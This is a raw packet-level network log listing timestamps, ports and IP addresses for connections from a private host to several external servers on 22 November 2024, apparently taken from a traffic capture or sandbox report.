Nov 22, 2024 17:09:04.528022051 CET	49806	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:04.528043985 CET	443	49806	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:04.533669949 CET	49820	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:04.533710957 CET	443	49820	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:04.533900976 CET	49820	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:04.534117937 CET	49820	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:04.534131050 CET	443	49820	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:04.551338911 CET	443	49812	18.238.49.74	192.168.2.10
Nov 22, 2024 17:09:04.576416016 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.672211885 CET	443	49807	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.672241926 CET	443	49807	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.672317982 CET	443	49807	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.672321081 CET	49807	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.672362089 CET	49807	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.673489094 CET	49807	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.673523903 CET	443	49807	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.682257891 CET	443	49810	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.682326078 CET	443	49810	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.682399988 CET	49810	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.695924997 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.705689907 CET	49810	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.705746889 CET	443	49810	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.715303898 CET	443	49811	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.715347052 CET	443	49811	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.715406895 CET	49811	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.715431929 CET	443	49811	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.716212988 CET	49811	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.716257095 CET	443	49811	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.716308117 CET	49811	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.725255966 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.725290060 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.725326061 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.725341082 CET	49808	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.725385904 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.725622892 CET	49808	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.725634098 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.725663900 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.725703001 CET	49808	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.729098082 CET	49808	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.729139090 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.767726898 CET	443	49809	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.767752886 CET	443	49809	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.767818928 CET	443	49809	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.767826080 CET	49809	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.767884970 CET	49809	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.775216103 CET	49809	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.775228977 CET	443	49809	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.856606960 CET	443	49805	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:04.856694937 CET	443	49805	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:04.856878042 CET	49805	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:04.857388020 CET	49805	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:04.857397079 CET	443	49805	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:04.962852955 CET	443	49812	18.238.49.74	192.168.2.10
Nov 22, 2024 17:09:04.962941885 CET	443	49812	18.238.49.74	192.168.2.10
Nov 22, 2024 17:09:04.963020086 CET	49812	443	192.168.2.10	18.238.49.74
Nov 22, 2024 17:09:04.964333057 CET	49812	443	192.168.2.10	18.238.49.74
Nov 22, 2024 17:09:04.964353085 CET	443	49812	18.238.49.74	192.168.2.10
Nov 22, 2024 17:09:04.974193096 CET	443	49814	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:04.974838972 CET	49814	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:04.974868059 CET	443	49814	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:04.975174904 CET	443	49814	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:04.976274967 CET	49814	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:04.976330996 CET	443	49814	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:04.976501942 CET	49814	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:05.019330025 CET	443	49814	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.029206038 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.029268026 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.029274940 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.029283047 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.029306889 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.029352903 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.029690981 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.029746056 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.029800892 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.029814005 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.029849052 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.029863119 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.030616045 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.030670881 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.030683994 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.030718088 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.030750990 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.031559944 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.031598091 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.031620026 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.031632900 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.031826019 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.031862974 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.032330036 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.032376051 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.032407999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.032421112 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.032461882 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.033274889 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.033324003 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.033334970 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.033345938 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.033446074 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.034218073 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.034229994 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.034240007 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.034266949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.034292936 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.035160065 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.035178900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.035190105 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.035198927 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.035208941 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.035268068 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.035991907 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.036036968 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.036051989 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.036096096 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.036118031 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.036896944 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.036966085 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.036974907 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.036979914 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.037010908 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.037035942 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.037827969 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.037877083 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.037888050 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.037902117 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.037925005 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.038746119 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.038800955 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.038810015 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.038815975 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.038852930 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.039697886 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.039745092 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.039757967 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.039769888 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.039793015 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.039817095 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.040565968 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.040611029 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.040623903 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.040641069 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.040657997 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.041498899 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.041534901 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.041548014 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.041553020 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.041567087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.041587114 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.042521954 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.042576075 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.042594910 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.042604923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.042643070 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.043349981 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.043391943 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.043401957 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.043432951 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.043461084 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.044301033 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.044312000 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.044322014 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.044353008 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.044384003 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.045252085 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.045329094 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.045339108 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.045370102 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.045403004 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.046092033 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.046143055 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.046155930 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.046190977 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.046224117 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.046967030 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.047004938 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.047041893 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.047053099 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.047085047 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.047913074 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.047959089 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.048206091 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.048321962 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.075036049 CET	443	49815	20.110.205.119	192.168.2.10
Nov 22, 2024 17:09:05.078634024 CET	49815	443	192.168.2.10	20.110.205.119
Nov 22, 2024 17:09:05.078654051 CET	443	49815	20.110.205.119	192.168.2.10
Nov 22, 2024 17:09:05.079257011 CET	443	49815	20.110.205.119	192.168.2.10
Nov 22, 2024 17:09:05.079936981 CET	49815	443	192.168.2.10	20.110.205.119
Nov 22, 2024 17:09:05.080049038 CET	443	49815	20.110.205.119	192.168.2.10
Nov 22, 2024 17:09:05.080177069 CET	49815	443	192.168.2.10	20.110.205.119
Nov 22, 2024 17:09:05.123368979 CET	443	49815	20.110.205.119	192.168.2.10
Nov 22, 2024 17:09:05.124402046 CET	443	49816	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:05.124706984 CET	49816	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:05.124736071 CET	443	49816	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:05.125319004 CET	443	49817	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:05.125565052 CET	49817	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:05.125593901 CET	443	49817	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:05.125845909 CET	443	49816	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:05.125916958 CET	49816	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:05.126868010 CET	443	49817	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:05.126935005 CET	49817	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:05.127057076 CET	49816	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:05.127125978 CET	443	49816	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:05.127490044 CET	49817	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:05.127552032 CET	443	49817	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:05.174309969 CET	443	49813	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.174566031 CET	49813	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:05.174587965 CET	443	49813	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.175647974 CET	443	49813	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.175721884 CET	49813	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:05.176018953 CET	49813	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:05.176079988 CET	443	49813	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.176168919 CET	49813	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:05.179383039 CET	49816	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:05.179410934 CET	443	49816	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:05.179441929 CET	49817	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:05.179469109 CET	443	49817	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:05.223330975 CET	443	49813	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.224016905 CET	49813	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:05.224035025 CET	443	49813	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.224034071 CET	49816	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:05.224138021 CET	49817	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:05.230607986 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:05.230704069 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:05.271183968 CET	49813	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:05.457518101 CET	443	49814	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.457602978 CET	443	49814	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.457782030 CET	49814	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:05.478270054 CET	443	49819	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:05.478760958 CET	49819	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:05.478787899 CET	443	49819	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:05.479865074 CET	443	49819	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:05.479937077 CET	49819	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:05.481010914 CET	49819	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:05.481086016 CET	443	49819	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:05.507402897 CET	443	49818	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:05.511857033 CET	49818	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:05.511871099 CET	443	49818	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:05.513000011 CET	443	49818	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:05.513063908 CET	49818	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:05.513456106 CET	49818	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:05.513525009 CET	443	49818	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:05.517011881 CET	49814	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:05.517023087 CET	443	49814	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.536243916 CET	49819	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:05.536261082 CET	443	49819	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:05.537208080 CET	443	49815	20.110.205.119	192.168.2.10
Nov 22, 2024 17:09:05.537293911 CET	443	49815	20.110.205.119	192.168.2.10
Nov 22, 2024 17:09:05.537359953 CET	49815	443	192.168.2.10	20.110.205.119
Nov 22, 2024 17:09:05.545665026 CET	49815	443	192.168.2.10	20.110.205.119
Nov 22, 2024 17:09:05.545676947 CET	443	49815	20.110.205.119	192.168.2.10
Nov 22, 2024 17:09:05.556674004 CET	49818	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:05.556689024 CET	443	49818	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:05.583465099 CET	49819	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:05.598735094 CET	49818	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:05.968048096 CET	443	49813	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.968084097 CET	443	49813	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.968172073 CET	49813	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:05.968205929 CET	443	49813	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.969211102 CET	49813	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:05.969264030 CET	443	49813	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:05.969327927 CET	49813	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:06.004367113 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:06.004713058 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:06.123944998 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:06.124155998 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:06.146437883 CET	443	49820	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:06.149437904 CET	49820	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:06.149462938 CET	443	49820	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:06.149960041 CET	443	49820	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:06.150399923 CET	49820	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:06.150466919 CET	443	49820	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:06.150616884 CET	49820	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:06.191335917 CET	443	49820	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:06.191483974 CET	49820	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:06.211613894 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:06.211666107 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:06.212315083 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:06.212759972 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:06.212774038 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:06.339871883 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:06.339915991 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:06.339979887 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:06.340188980 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:06.340204954 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:06.379307985 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:06.379359007 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:06.379430056 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:06.379651070 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:06.379672050 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:06.646924973 CET	443	49820	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:06.646950960 CET	443	49820	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:06.647018909 CET	49820	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:06.647054911 CET	443	49820	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:06.647171021 CET	443	49820	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:06.647475958 CET	49820	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:06.647980928 CET	49820	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:06.647998095 CET	443	49820	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:07.123918056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:07.124039888 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:07.426454067 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.426772118 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.426795959 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.427139044 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.427474022 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.427545071 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.427728891 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.442433119 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:07.475330114 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.561991930 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:07.595145941 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.595422029 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.595449924 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.596503019 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.596577883 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.597604990 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.597850084 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.597913980 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.597923994 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.605047941 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.605505943 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.605535030 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.605878115 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.606270075 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.606334925 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.606431007 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.647329092 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.659753084 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.659832954 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.891264915 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:07.891287088 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:07.891345024 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:07.891376972 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:07.908473015 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.908504963 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.908521891 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.908564091 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.908587933 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:07.908652067 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.908663988 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:07.946563959 CET	49824	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:07.946616888 CET	443	49824	20.189.173.23	192.168.2.10
